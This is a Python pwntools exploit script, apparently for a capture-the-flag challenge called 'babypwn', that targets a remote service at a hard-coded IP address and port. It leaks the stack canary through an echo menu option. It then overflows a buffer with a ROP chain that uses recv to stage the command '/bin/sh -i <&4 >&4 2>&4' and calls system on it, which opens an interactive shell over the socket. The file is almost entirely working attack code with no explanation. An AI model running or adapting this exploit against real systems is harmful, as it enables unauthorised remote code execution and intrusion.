babypwn.py

from pwn import *
from hexdump import *
import time

#r = remote("localhost", 8889)
r = remote("110.10.212.130", 8889)

def echo(data):
	r.sendline("1")
	time.sleep(0.1)
	r.sendline(data)

def reverse_echo(data):
	r.sendline("2")
	time.sleep(0.1)
	r.sendline(data)

def canary_leak(data):
	r.recvuntil(data)
	r.recv(1)
	canary = "\x00" + r.recv(3)
	#log.info("canary: " + hex(canary))

	return canary

def pwn(canary):
	recv = 0x080486E0
	system = 0x08048C53
	freespace = 0x0804B080 + 4
	pop4ret = 0x08048EEC
	sh = "/bin/sh -i <&4 >&4 2>&4"

	payload = ""
	payload += "A" * 40
	payload += canary
	payload += "B" * 12
	payload += p32(recv)
	payload += p32(pop4ret)
	payload += p32(4)
	payload += p32(freespace)
	payload += p32(len(sh))
	payload += p32(0)
	payload += p32(system)
	payload += p32(freespace) * 2

	echo(payload)

	time.sleep(0.1)
	r.sendline("3")
	time.sleep(0.1)
	r.sendline(sh)

	r.recvuntil("menu > ")
	r.recvuntil("menu > ")

	r.interactive()

def main():
	r.recvuntil("menu > ")

	echo("A" * 40)
	canary = canary_leak("A" * 40)

	pwn(canary)

if __name__=='__main__':
	main()